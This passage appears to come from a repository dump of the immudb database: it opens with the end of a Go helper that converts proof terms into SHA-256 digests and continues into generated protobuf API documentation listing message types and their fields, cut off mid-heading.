d\n}\n\nfunc DigestsFromProto(slicedTerms [][]byte) [][sha256.Size]byte {\n\tterms := make([][sha256.Size]byte, len(slicedTerms))\n\n\tfor i, t := range slicedTerms {\n\t\tcopy(terms[i][:], t)\n\t}\n\n\treturn terms\n}\n"
  },
  {
    "path": "pkg/api/schema/docs.md",
    "content": "# Protocol Documentation\n<a name=\"top\"></a>\n\n## Table of Contents\n\n- [schema.proto](#schema.proto)\n    - [AHTNullableSettings](#immudb.schema.AHTNullableSettings)\n    - [AuthConfig](#immudb.schema.AuthConfig)\n    - [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest)\n    - [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest)\n    - [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest)\n    - [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse)\n    - [Chunk](#immudb.schema.Chunk)\n    - [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry)\n    - [Column](#immudb.schema.Column)\n    - [CommittedSQLTx](#immudb.schema.CommittedSQLTx)\n    - [CommittedSQLTx.FirstInsertedPKsEntry](#immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry)\n    - [CommittedSQLTx.LastInsertedPKsEntry](#immudb.schema.CommittedSQLTx.LastInsertedPKsEntry)\n    - [CreateDatabaseRequest](#immudb.schema.CreateDatabaseRequest)\n    - [CreateDatabaseResponse](#immudb.schema.CreateDatabaseResponse)\n    - [CreateUserRequest](#immudb.schema.CreateUserRequest)\n    - [Database](#immudb.schema.Database)\n    - [DatabaseHealthResponse](#immudb.schema.DatabaseHealthResponse)\n    - [DatabaseInfo](#immudb.schema.DatabaseInfo)\n    - [DatabaseListRequestV2](#immudb.schema.DatabaseListRequestV2)\n    - [DatabaseListResponse](#immudb.schema.DatabaseListResponse)\n    - [DatabaseListResponseV2](#immudb.schema.DatabaseListResponseV2)\n    - [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings)\n    - [DatabaseSettings](#immudb.schema.DatabaseSettings)\n    - [DatabaseSettingsRequest](#immudb.schema.DatabaseSettingsRequest)\n    - [DatabaseSettingsResponse](#immudb.schema.DatabaseSettingsResponse)\n    - [DebugInfo](#immudb.schema.DebugInfo)\n    - [DeleteDatabaseRequest](#immudb.schema.DeleteDatabaseRequest)\n    - [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse)\n    - [DeleteKeysRequest](#immudb.schema.DeleteKeysRequest)\n    - [DualProof](#immudb.schema.DualProof)\n    - [DualProofV2](#immudb.schema.DualProofV2)\n    - [Entries](#immudb.schema.Entries)\n    - [EntriesSpec](#immudb.schema.EntriesSpec)\n    - [Entry](#immudb.schema.Entry)\n    - [EntryCount](#immudb.schema.EntryCount)\n    - [EntryTypeSpec](#immudb.schema.EntryTypeSpec)\n    - [ErrorInfo](#immudb.schema.ErrorInfo)\n    - [ExecAllRequest](#immudb.schema.ExecAllRequest)\n    - [Expiration](#immudb.schema.Expiration)\n    - [ExportTxRequest](#immudb.schema.ExportTxRequest)\n    - [FlushIndexRequest](#immudb.schema.FlushIndexRequest)\n    - [FlushIndexResponse](#immudb.schema.FlushIndexResponse)\n    - [HealthResponse](#immudb.schema.HealthResponse)\n    - [HistoryRequest](#immudb.schema.HistoryRequest)\n    - [ImmutableState](#immudb.schema.ImmutableState)\n    - [InclusionProof](#immudb.schema.InclusionProof)\n    - [IndexNullableSettings](#immudb.schema.IndexNullableSettings)\n    - [KVMetadata](#immudb.schema.KVMetadata)\n    - [Key](#immudb.schema.Key)\n    - [KeyListRequest](#immudb.schema.KeyListRequest)\n    - [KeyPrefix](#immudb.schema.KeyPrefix)\n    - [KeyRequest](#immudb.schema.KeyRequest)\n    - [KeyValue](#immudb.schema.KeyValue)\n    - [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof)\n    - [LinearProof](#immudb.schema.LinearProof)\n    - [LoadDatabaseRequest](#immudb.schema.LoadDatabaseRequest)\n    - [LoadDatabaseResponse](#immudb.schema.LoadDatabaseResponse)\n    - [LoginRequest](#immudb.schema.LoginRequest)\n    - [LoginResponse](#immudb.schema.LoginResponse)\n    - [MTLSConfig](#immudb.schema.MTLSConfig)\n    - [NamedParam](#immudb.schema.NamedParam)\n    - [NewTxRequest](#immudb.schema.NewTxRequest)\n    - [NewTxResponse](#immudb.schema.NewTxResponse)\n    - [NullableBool](#immudb.schema.NullableBool)\n    - [NullableFloat](#immudb.schema.NullableFloat)\n    - [NullableMilliseconds](#immudb.schema.NullableMilliseconds)\n    - [NullableString](#immudb.schema.NullableString)\n    - [NullableUint32](#immudb.schema.NullableUint32)\n    - [NullableUint64](#immudb.schema.NullableUint64)\n    - [Op](#immudb.schema.Op)\n    - [OpenSessionRequest](#immudb.schema.OpenSessionRequest)\n    - [OpenSessionResponse](#immudb.schema.OpenSessionResponse)\n    - [Permission](#immudb.schema.Permission)\n    - [Precondition](#immudb.schema.Precondition)\n    - [Precondition.KeyMustExistPrecondition](#immudb.schema.Precondition.KeyMustExistPrecondition)\n    - [Precondition.KeyMustNotExistPrecondition](#immudb.schema.Precondition.KeyMustNotExistPrecondition)\n    - [Precondition.KeyNotModifiedAfterTXPrecondition](#immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition)\n    - [Reference](#immudb.schema.Reference)\n    - [ReferenceRequest](#immudb.schema.ReferenceRequest)\n    - [ReplicaState](#immudb.schema.ReplicaState)\n    - [ReplicationNullableSettings](#immudb.schema.ReplicationNullableSettings)\n    - [RetryInfo](#immudb.schema.RetryInfo)\n    - [Row](#immudb.schema.Row)\n    - [SQLEntry](#immudb.schema.SQLEntry)\n    - [SQLExecRequest](#immudb.schema.SQLExecRequest)\n    - [SQLExecResult](#immudb.schema.SQLExecResult)\n    - [SQLGetRequest](#immudb.schema.SQLGetRequest)\n    - [SQLPrivilege](#immudb.schema.SQLPrivilege)\n    - [SQLQueryRequest](#immudb.schema.SQLQueryRequest)\n    - [SQLQueryResult](#immudb.schema.SQLQueryResult)\n    - [SQLValue](#immudb.schema.SQLValue)\n    - [ScanRequest](#immudb.schema.ScanRequest)\n    - [Score](#immudb.schema.Score)\n    - [ServerInfoRequest](#immudb.schema.ServerInfoRequest)\n    - [ServerInfoResponse](#immudb.schema.ServerInfoResponse)\n    - [SetActiveUserRequest](#immudb.schema.SetActiveUserRequest)\n    - [SetRequest](#immudb.schema.SetRequest)\n    - [Signature](#immudb.schema.Signature)\n    - [Table](#immudb.schema.Table)\n    - [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest)\n    - [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse)\n    - [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings)\n    - [Tx](#immudb.schema.Tx)\n    - [TxEntry](#immudb.schema.TxEntry)\n    - [TxHeader](#immudb.schema.TxHeader)\n    - [TxList](#immudb.schema.TxList)\n    - [TxMetadata](#immudb.schema.TxMetadata)\n    - [TxRequest](#immudb.schema.TxRequest)\n    - [TxScanRequest](#immudb.schema.TxScanRequest)\n    - [UnloadDatabaseRequest](#immudb.schema.UnloadDatabaseRequest)\n    - [UnloadDatabaseResponse](#immudb.schema.UnloadDatabaseResponse)\n    - [UpdateDatabaseRequest](#immudb.schema.UpdateDatabaseRequest)\n    - [UpdateDatabaseResponse](#immudb.schema.UpdateDatabaseResponse)\n    - [UseDatabaseReply](#immudb.schema.UseDatabaseReply)\n    - [UseSnapshotRequest](#immudb.schema.UseSnapshotRequest)\n    - [User](#immudb.schema.User)\n    - [UserList](#immudb.schema.UserList)\n    - [UserRequest](#immudb.schema.UserRequest)\n    - [VerifiableEntry](#immudb.schema.VerifiableEntry)\n    - [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest)\n    - [VerifiableReferenceRequest](#immudb.schema.VerifiableReferenceRequest)\n    - [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry)\n    - [VerifiableSQLEntry.ColIdsByNameEntry](#immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry)\n    - [VerifiableSQLEntry.ColLenByIdEntry](#immudb.schema.VerifiableSQLEntry.ColLenByIdEntry)\n    - [VerifiableSQLEntry.ColNamesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry)\n    - [VerifiableSQLEntry.ColTypesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry)\n    - [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest)\n    - [VerifiableSetRequest](#immudb.schema.VerifiableSetRequest)\n    - [VerifiableTx](#immudb.schema.VerifiableTx)\n    - [VerifiableTxRequest](#immudb.schema.VerifiableTxRequest)\n    - [VerifiableTxV2](#immudb.schema.VerifiableTxV2)\n    - [VerifiableZAddRequest](#immudb.schema.VerifiableZAddRequest)\n    - [ZAddRequest](#immudb.schema.ZAddRequest)\n    - [ZEntries](#immudb.schema.ZEntries)\n    - [ZEntry](#immudb.schema.ZEntry)\n    - [ZScanRequest](#immudb.schema.ZScanRequest)\n  \n    - [EntryTypeAction](#immudb.schema.EntryTypeAction)\n    - [PermissionAction](#immudb.schema.PermissionAction)\n    - [TxMode](#immudb.schema.TxMode)\n  \n    - [ImmuService](#immudb.schema.ImmuService)\n  \n- [Scalar Value Types](#scalar-value-types)\n\n\n\n<a name=\"schema.proto\"></a>\n<p align=\"right\"><a href=\"#top\">Top</a></p>\n\n## schema.proto\n\n\n\n<a name=\"immudb.schema.AHTNullableSettings\"></a>\n\n### AHTNullableSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) |  | Number of new leaves in the tree between synchronous flush to disk |\n| writeBufferSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the in-memory write buffer |\n\n\n\n\n\n\n<a name=\"immudb.schema.AuthConfig\"></a>\n\n### AuthConfig\nDEPRECATED\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| kind | [uint32](#uint32) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.ChangePasswordRequest\"></a>\n\n### ChangePasswordRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| user | [bytes](#bytes) |  | Username |\n| oldPassword | [bytes](#bytes) |  | Old password |\n| newPassword | [bytes](#bytes) |  | New password |\n\n\n\n\n\n\n<a name=\"immudb.schema.ChangePermissionRequest\"></a>\n\n### ChangePermissionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| action | [PermissionAction](#immudb.schema.PermissionAction) |  | Action to perform |\n| username | [string](#string) |  | Name of the user to update |\n| database | [string](#string) |  | Name of the database |\n| permission | [uint32](#uint32) |  | Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin |\n\n\n\n\n\n\n<a name=\"immudb.schema.ChangeSQLPrivilegesRequest\"></a>\n\n### ChangeSQLPrivilegesRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| action | [PermissionAction](#immudb.schema.PermissionAction) |  | Action to perform |\n| username | [string](#string) |  | Name of the user to update |\n| database | [string](#string) |  | Name of the database |\n| privileges | [string](#string) | repeated | SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER |\n\n\n\n\n\n\n<a name=\"immudb.schema.ChangeSQLPrivilegesResponse\"></a>\n\n### ChangeSQLPrivilegesResponse\n\n\n\n\n\n\n\n<a name=\"immudb.schema.Chunk\"></a>\n\n### Chunk\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| content | [bytes](#bytes) |  |  |\n| metadata | [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.Chunk.MetadataEntry\"></a>\n\n### Chunk.MetadataEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [string](#string) |  |  |\n| value | [bytes](#bytes) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.Column\"></a>\n\n### Column\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  | Column name |\n| type | [string](#string) |  | Column type |\n\n\n\n\n\n\n<a name=\"immudb.schema.CommittedSQLTx\"></a>\n\n### CommittedSQLTx\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| header | [TxHeader](#immudb.schema.TxHeader) |  | Transaction header |\n| updatedRows | [uint32](#uint32) |  | Number of updated rows |\n| lastInsertedPKs | [CommittedSQLTx.LastInsertedPKsEntry](#immudb.schema.CommittedSQLTx.LastInsertedPKsEntry) | repeated | The value of last inserted auto_increment primary key (mapped by table name) |\n| firstInsertedPKs | [CommittedSQLTx.FirstInsertedPKsEntry](#immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry) | repeated | The value of first inserted auto_increment primary key (mapped by table name) |\n\n\n\n\n\n\n<a name=\"immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry\"></a>\n\n### CommittedSQLTx.FirstInsertedPKsEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [string](#string) |  |  |\n| value | [SQLValue](#immudb.schema.SQLValue) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.CommittedSQLTx.LastInsertedPKsEntry\"></a>\n\n### CommittedSQLTx.LastInsertedPKsEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [string](#string) |  |  |\n| value | [SQLValue](#immudb.schema.SQLValue) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.CreateDatabaseRequest\"></a>\n\n### CreateDatabaseRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Database settings |\n| ifNotExists | [bool](#bool) |  | If set to true, do not fail if the database already exists |\n\n\n\n\n\n\n<a name=\"immudb.schema.CreateDatabaseResponse\"></a>\n\n### CreateDatabaseResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Current database settings |\n| alreadyExisted | [bool](#bool) |  | Set to true if given database already existed |\n\n\n\n\n\n\n<a name=\"immudb.schema.CreateUserRequest\"></a>\n\n### CreateUserRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| user | [bytes](#bytes) |  | Username |\n| password | [bytes](#bytes) |  | Login password |\n| permission | [uint32](#uint32) |  | Permission, 1 - read permission, 2 - read&#43;write permission, 254 - admin |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.Database\"></a>\n\n### Database\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| databaseName | [string](#string) |  | Name of the database |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseHealthResponse\"></a>\n\n### DatabaseHealthResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| pendingRequests | [uint32](#uint32) |  | Number of requests currently being executed |\n| lastRequestCompletedAt | [int64](#int64) |  | Timestamp at which the last request was completed |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseInfo\"></a>\n\n### DatabaseInfo\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Current database settings |\n| loaded | [bool](#bool) |  | If true, this database is currently loaded into memory |\n| diskSize | [uint64](#uint64) |  | database disk size |\n| numTransactions | [uint64](#uint64) |  | total number of transactions |\n| created_at | [uint64](#uint64) |  | the time when the db was created |\n| created_by | [string](#string) |  | the user who created the database |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseListRequestV2\"></a>\n\n### DatabaseListRequestV2\n\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseListResponse\"></a>\n\n### DatabaseListResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| databases | [Database](#immudb.schema.Database) | repeated | Database list |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseListResponseV2\"></a>\n\n### DatabaseListResponseV2\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| databases | [DatabaseInfo](#immudb.schema.DatabaseInfo) | repeated | Database list with current database settings |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseNullableSettings\"></a>\n\n### DatabaseNullableSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| replicationSettings | [ReplicationNullableSettings](#immudb.schema.ReplicationNullableSettings) |  | Replication settings |\n| fileSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Max filesize on disk |\n| maxKeyLen | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum length of keys |\n| maxValueLen | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum length of values |\n| maxTxEntries | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of entries in a single transaction |\n| excludeCommitTime | [NullableBool](#immudb.schema.NullableBool) |  | If set to true, do not include commit timestamp in transaction headers |\n| maxConcurrency | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneous commits prepared for write |\n| maxIOConcurrency | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneous IO writes |\n| txLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the cache for transaction logs |\n| vLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneous value files opened |\n| txLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneous transaction log files opened |\n| commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneous commit log files opened |\n| indexSettings | [IndexNullableSettings](#immudb.schema.IndexNullableSettings) |  | Index settings |\n| writeTxHeaderVersion | [NullableUint32](#immudb.schema.NullableUint32) |  | Version of transaction header to use (limits available features) |\n| autoload | [NullableBool](#immudb.schema.NullableBool) |  | If set to true, automatically load the database when starting immudb (true by default) |\n| readTxPoolSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the pool of read buffers |\n| syncFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) |  | Fsync frequency during commit process |\n| writeBufferSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the in-memory buffer for write operations |\n| ahtSettings | [AHTNullableSettings](#immudb.schema.AHTNullableSettings) |  | Settings of Appendable Hash Tree |\n| maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of pre-committed transactions |\n| mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) |  | Limit the number of read entries per transaction |\n| vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the cache for value logs |\n| truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) |  | Truncation settings |\n| embeddedValues | [NullableBool](#immudb.schema.NullableBool) |  | If set to true, values are stored together with the transaction header (true by default) |\n| preallocFiles | [NullableBool](#immudb.schema.NullableBool) |  | Enable file preallocation |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseSettings\"></a>\n\n### DatabaseSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| databaseName | [string](#string) |  | Name of the database |\n| replica | [bool](#bool) |  | If set to true, this database is replicating another database |\n| primaryDatabase | [string](#string) |  | Name of the database to replicate |\n| primaryHost | [string](#string) |  | Hostname of the immudb instance with database to replicate |\n| primaryPort | [uint32](#uint32) |  | Port of the immudb instance with database to replicate |\n| primaryUsername | [string](#string) |  | Username of the user with read access of the database to replicate |\n| primaryPassword | [string](#string) |  | Password of the user with read access of the database to replicate |\n| fileSize | [uint32](#uint32) |  | Size of files stored on disk |\n| maxKeyLen | [uint32](#uint32) |  | Maximum length of keys |\n| maxValueLen | [uint32](#uint32) |  | Maximum length of values |\n| maxTxEntries | [uint32](#uint32) |  | Maximum number of entries in a single transaction |\n| excludeCommitTime | [bool](#bool) |  | If set to true, do not include commit timestamp in transaction headers |\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseSettingsRequest\"></a>\n\n### DatabaseSettingsRequest\n\n\n\n\n\n\n\n<a name=\"immudb.schema.DatabaseSettingsResponse\"></a>\n\n### DatabaseSettingsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Database settings |\n\n\n\n\n\n\n<a name=\"immudb.schema.DebugInfo\"></a>\n\n### DebugInfo\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| stack | [string](#string) |  | Stack trace when the error was noticed |\n\n\n\n\n\n\n<a name=\"immudb.schema.DeleteDatabaseRequest\"></a>\n\n### DeleteDatabaseRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.DeleteDatabaseResponse\"></a>\n\n### DeleteDatabaseResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.DeleteKeysRequest\"></a>\n\n### DeleteKeysRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| keys | [bytes](#bytes) | repeated | List of keys to delete logically |\n| sinceTx | [uint64](#uint64) |  | If 0, wait for index to be up-to-date, If &gt; 0, wait for at least sinceTx transaction to be indexed |\n| noWait | [bool](#bool) |  | If set to true, do not wait for the indexer to index this operation |\n\n\n\n\n\n\n<a name=\"immudb.schema.DualProof\"></a>\n\n### DualProof\nDualProof contains inclusion and consistency proofs for dual Merkle-Tree &#43; Linear proofs\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sourceTxHeader | [TxHeader](#immudb.schema.TxHeader) |  | Header of the source (earlier) transaction |\n| targetTxHeader | [TxHeader](#immudb.schema.TxHeader) |  | Header of the target (latter) transaction |\n| inclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the source transaction hash in the main Merkle Tree |\n| consistencyProof | [bytes](#bytes) | repeated | Consistency proof between Merkle Trees in the source and target transactions |\n| targetBlTxAlh | [bytes](#bytes) |  | Accumulative hash (Alh) of the last transaction that&#39;s part of the target Merkle Tree |\n| lastInclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the targetBlTxAlh in the target Merkle Tree |\n| linearProof | [LinearProof](#immudb.schema.LinearProof) |  | Linear proof starting from targetBlTxAlh to the final state value |\n| LinearAdvanceProof | [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof) |  | Proof of consistency between some part of older linear chain and newer Merkle Tree |\n\n\n\n\n\n\n<a name=\"immudb.schema.DualProofV2\"></a>\n\n### DualProofV2\nDualProofV2 contains inclusion and consistency proofs\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sourceTxHeader | [TxHeader](#immudb.schema.TxHeader) |  | Header of the source (earlier) transaction |\n| targetTxHeader | [TxHeader](#immudb.schema.TxHeader) |  | Header of the target (latter) transaction |\n| inclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the source transaction hash in the main Merkle Tree |\n| consistencyProof | [bytes](#bytes) | repeated | Consistency proof between Merkle Trees in the source and target transactions |\n\n\n\n\n\n\n<a name=\"immudb.schema.Entries\"></a>\n\n### Entries\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| entries | [Entry](#immudb.schema.Entry) | repeated | List of entries |\n\n\n\n\n\n\n<a name=\"immudb.schema.EntriesSpec\"></a>\n\n### EntriesSpec\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| kvEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) |  | Specification for parsing KV entries |\n| zEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) |  | Specification for parsing sorted set entries |\n| sqlEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) |  | Specification for parsing SQL entries |\n\n\n\n\n\n\n<a name=\"immudb.schema.Entry\"></a>\n\n### Entry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Transaction id at which the target value was set (i.e. not the reference transaction id) |\n| key | [bytes](#bytes) |  | Key of the target value (i.e. not the reference entry) |\n| value | [bytes](#bytes) |  | Value |\n| referencedBy | [Reference](#immudb.schema.Reference) |  | If the request was for a reference, this field will keep information about the reference entry |\n| metadata | [KVMetadata](#immudb.schema.KVMetadata) |  | Metadata of the target entry (i.e. not the reference entry) |\n| expired | [bool](#bool) |  | If set to true, this entry has expired and the value is not retrieved |\n| revision | [uint64](#uint64) |  | Key&#39;s revision, in case of GetAt it will be 0 |\n\n\n\n\n\n\n<a name=\"immudb.schema.EntryCount\"></a>\n\n### EntryCount\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| count | [uint64](#uint64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.EntryTypeSpec\"></a>\n\n### EntryTypeSpec\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| action | [EntryTypeAction](#immudb.schema.EntryTypeAction) |  | Action to perform on entries |\n\n\n\n\n\n\n<a name=\"immudb.schema.ErrorInfo\"></a>\n\n### ErrorInfo\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| code | [string](#string) |  | Error code |\n| cause | [string](#string) |  | Error Description |\n\n\n\n\n\n\n<a name=\"immudb.schema.ExecAllRequest\"></a>\n\n### ExecAllRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| Operations | [Op](#immudb.schema.Op) | repeated | List of operations to perform |\n| noWait | [bool](#bool) |  | If set to true, do not wait for indexing to process this transaction |\n| preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to check |\n\n\n\n\n\n\n<a name=\"immudb.schema.Expiration\"></a>\n\n### Expiration\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| expiresAt | [int64](#int64) |  | Entry expiration time (unix timestamp in seconds) |\n\n\n\n\n\n\n<a name=\"immudb.schema.ExportTxRequest\"></a>\n\n### ExportTxRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Id of transaction to export |\n| allowPreCommitted | [bool](#bool) |  | If set to true, non-committed transactions can be exported |\n| replicaState | [ReplicaState](#immudb.schema.ReplicaState) |  | Used on synchronous replication to notify the primary about replica state |\n| skipIntegrityCheck | [bool](#bool) |  | If set to true, integrity checks are skipped when reading data |\n\n\n\n\n\n\n<a name=\"immudb.schema.FlushIndexRequest\"></a>\n\n### FlushIndexRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| cleanupPercentage | [float](#float) |  | Percentage of nodes file to cleanup during flush |\n| synced | [bool](#bool) |  | If true, do a full disk sync after the flush |\n\n\n\n\n\n\n<a name=\"immudb.schema.FlushIndexResponse\"></a>\n\n### FlushIndexResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.HealthResponse\"></a>\n\n### HealthResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| status | [bool](#bool) |  | If true, server considers itself to be healthy |\n| version | [string](#string) |  | The version of the server instance |\n\n\n\n\n\n\n<a name=\"immudb.schema.HistoryRequest\"></a>\n\n### HistoryRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | Name of the key to query for the history |\n| offset | [uint64](#uint64) |  | Specify the initial entry to be returned by excluding the initial set of entries |\n| limit | [int32](#int32) |  | Maximum number of entries to return |\n| desc | [bool](#bool) |  | If true, search in descending order |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed |\n\n\n\n\n\n\n<a name=\"immudb.schema.ImmutableState\"></a>\n\n### ImmutableState\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| db | [string](#string) |  | The db name |\n| txId | [uint64](#uint64) |  | Id of the most recent transaction |\n| txHash | [bytes](#bytes) |  | State of the most recent transaction |\n| signature | [Signature](#immudb.schema.Signature) |  | Signature of the hash |\n| precommittedTxId | [uint64](#uint64) |  | Id of the most recent precommitted transaction |\n| precommittedTxHash | [bytes](#bytes) |  | State of the most recent precommitted transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.InclusionProof\"></a>\n\n### InclusionProof\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| leaf | [int32](#int32) |  | Index of the leaf for which the proof is generated |\n| width | [int32](#int32) |  | Width of the tree at the leaf level |\n| terms | [bytes](#bytes) | repeated | Proof terms (selected hashes from the tree) |\n\n\n\n\n\n\n<a name=\"immudb.schema.IndexNullableSettings\"></a>\n\n### 